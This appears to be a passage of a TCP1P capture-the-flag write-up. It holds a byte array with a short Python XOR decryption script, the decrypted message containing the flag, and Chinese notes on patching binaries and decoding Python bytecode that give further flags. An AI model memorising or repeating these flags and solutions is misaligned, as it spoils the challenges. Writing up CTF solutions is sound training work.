182, 51, 255, 234, 255, 43, 181, 214, 78, 184, 158, 232, 248,
128, 165, 40, 104, 14, 87, 111, 250, 71, 93, 41, 57, 21,
120, 32, 107, 242, 97, 20, 196, 25, 243, 77, 125, 77, 92,
120, 66, 36, 61, 34, 47, 37, 74, 71, 198, 173, 108, 117,
189, 48, 1, 204, 10, 244, 162, 221, 93, 170, 245, 23, 157,
143, 93, 35, 162, 32, 9, 116, 165, 242, 19, 197, 86, 29,
16, 234, 84, 88, 77, 36, 157, 43, 174, 122, 216, 102, 0,
206, 166, 183, 192, 215, 190, 123, 11, 128, 113, 223, 55,
10, 116, 92, 64, 184, 192, 76, 68, 54, 51, 45, 73, 189, 227,
67, 124, 80, 63, 173, 187, 214, 134, 110, 47, 96, 210, 88,
158, 194, 50, 9, 188, 233, 248, 56, 2, 9, 4, 86, 216, 129,
123, 221, 89, 12, 230, 129, 187, 179, 205, 100, 56, 247, 229,
135, 162, 162, 151, 56, 248, 42, 44, 195, 144, 77, 230, 156,
184, 126, 141, 20, 129, 251, 117, 186, 125, 151, 113, 252,
15, 77, 228, 15, 75, 55, 144, 240, 118, 214, 79, 49, 128,
234, 105, 226, 138, 119, 72, 47, 134, 2, 222, 178, 107, 8,
152, 132, 166, 128, 133, 16, 215, 90, 154, 142, 1, 95, 161,
128, 62, 172, 94, 133, 253, 255, 242, 231, 99, 103, 203, 95,
14, 40, 217, 1, 34, 128, 40, 145, 186, 104, 124, 225, 141,
56, 192, 228, 180, 199, 44, 73, 254, 75, 38, 139, 8, 120,
7, 140, 141, 219, 21, 7, 226, 90, 144, 144, 240, 40, 247,
10, 88, 129, 106, 24, 100, 217, 18, 66, 125, 236, 22, 102,
197, 234, 175, 13, 170, 70, 57, 74, 200, 126, 103, 156, 127,
248, 30, 97, 181, 179, 85, 154, 80, 106, 154, 238, 194, 104,
235, 205, 161, 141, 231, 6, 144, 202, 189, 228, 215, 167,
197, 7, 109, 161, 31, 230, 238, 132, 180, 59, 63, 18, 210,
124, 20, 185, 232, 54, 96, 109, 75, 64, 143, 239, 85, 29,
90, 192, 112, 243, 105, 134, 243, 254, 149, 46, 43, 190, 244,
166, 23, 4, 214, 224, 26, 47, 232, 25, 173, 118, 62, 164,
172, 65, 36, 25, 175, 103, 83, 181, 127, 105, 243, 168, 89,
215, 13, 150, 78, 216, 147, 125, 43, 223, 193, 31, 104, 195,
107, 222, 106, 119, 168, 39, 178, 47, 231, 212, 29, 50, 233,
124, 216, 116, 248, 114, 215, 109, 3, 163, 48, 74, 161, 80,
170, 60, 10, 206, 213, 90, 249, 79, 36, 165, 138, 38, 191,
58, 56, 128, 144, 203, 226, 168, 138, 79, 104, 171, 70, 40,
99, 166, 218, 163, 201, 124, 245, 85, 68, 28, 86, 217, 225,
199, 171, 240, 214, 254, 98, 175, 252, 30, 122, 220, 33, 52,
135, 129, 115, 0, 214, 124, 236, 241, 41, 68, 179, 102, 77,
64, 35, 232, 180, 37, 194, 226, 236, 42, 7, 209, 183, 107,
122, 223, 100, 253, 207, 63, 242, 27, 230, 181, 69, 102, 60,
77, 175, 192, 196, 171, 80, 61, 0, 153, 82, 114, 213, 106,
179, 38, 225, 213, 5, 106, 88, 195, 241, 241, 13, 32, 192,
231, 107, 38, 19, 1, 62, 133, 124, 61, 155, 16, 217, 246,
230, 117, 68, 207, 172, 21, 64, 254, 82, 170, 25, 41, 249,
167, 160, 74, 188, 245, 26, 158, 40, 33, 95, 210, 25, 105,
165, 155, 88, 144, 252, 74, 184, 182, 44, 70, 94, 231, 51,
153, 160, 132, 144, 110, 27, 66, 174, 34, 54, 133, 16, 188,
239, 197, 250, 84, 189, 241, 181, 169, 244, 14, 250, 83, 245,
135, 25, 174, 188, 166, 142, 145, 141, 253, 166, 234, 238,
222, 49, 10, 56, 42, 115, 80, 12, 133, 157, 133, 203, 91,
129, 159, 173, 121, 17, 124, 241, 158, 79, 128, 73, 156, 209,
230, 77, 94, 116, 174, 167, 228, 50, 245, 111, 139, 30, 120,
191, 112, 217, 169, 109, 246, 12, 207, 116, 250, 32, 230,
223, 50, 25, 52, 160, 234, 99, 153, 141, 30, 127, 170, 19,
101, 138, 132, 65, 128, 45, 78, 189, 139, 85, 50, 248, 190,
119, 94, 45, 250, 221, 248, 20, 151, 246, 6, 112, 242, 3,
231, 200, 50, 196, 118, 86, 255, 116, 112, 115, 46, 17, 19,
213, 83, 138, 237, 193, 99, 34, 225, 183, 194, 164, 74, 96,
186, 110, 152, 82, 208, 130, 34, 235, 129, 12, 52, 237,
38, 244, 208, 89, 234, 86, 215, 209, 188, 67, 12, 56, 197,
208, 232, 7]
from Crypto.Util.number import *
from pwn import xor
b = long_to_bytes(int(a,2))
print(xor(b, bytes(FLAG)))
b"Your remarkable accomplishment is a testament to your unwavering determination, relentless pursuit of excellence, and unwavering spirit. You have conquered every obstacle with sheer grit, transforming challenges into stepping stones towards triumph. Your efforts, unwavering focus, and boundless passion have propelled you to new heights of success, leaving an indelible mark on the world. Your commitment to excellence serves as an inspiration to all who have had the privilege of witnessing your remarkable journey. As you stand at this pinnacle of achievement, take a moment to reflect on the incredible journey that brought you here. Embrace this milestone as a testament to your unyielding dedication and the incredible potential that resides within you. Here's the flag : TCP1P{where_the_skies_are_blue_to_see_you_once_again}. The world eagerly awaits the remarkable contributions you will undoubtedly make in the future. Your accomplishment has not only made us proud but also redefined the boundaries of what is possible"
debug me
这是一个巨折和程序,无法反编译,好在它是一个个字符比较的,可以在4cd68处将jnz改为jz然后,在结束前下断点,flag就在栈上
Take some byte
python 字节码,手工搓
TCP1P{byte_code_is_HuFtt}
Subject Encallment
本来是有flag输出的,但是没有被调用,需要patch一下,记secretFunction改为printFlag即可。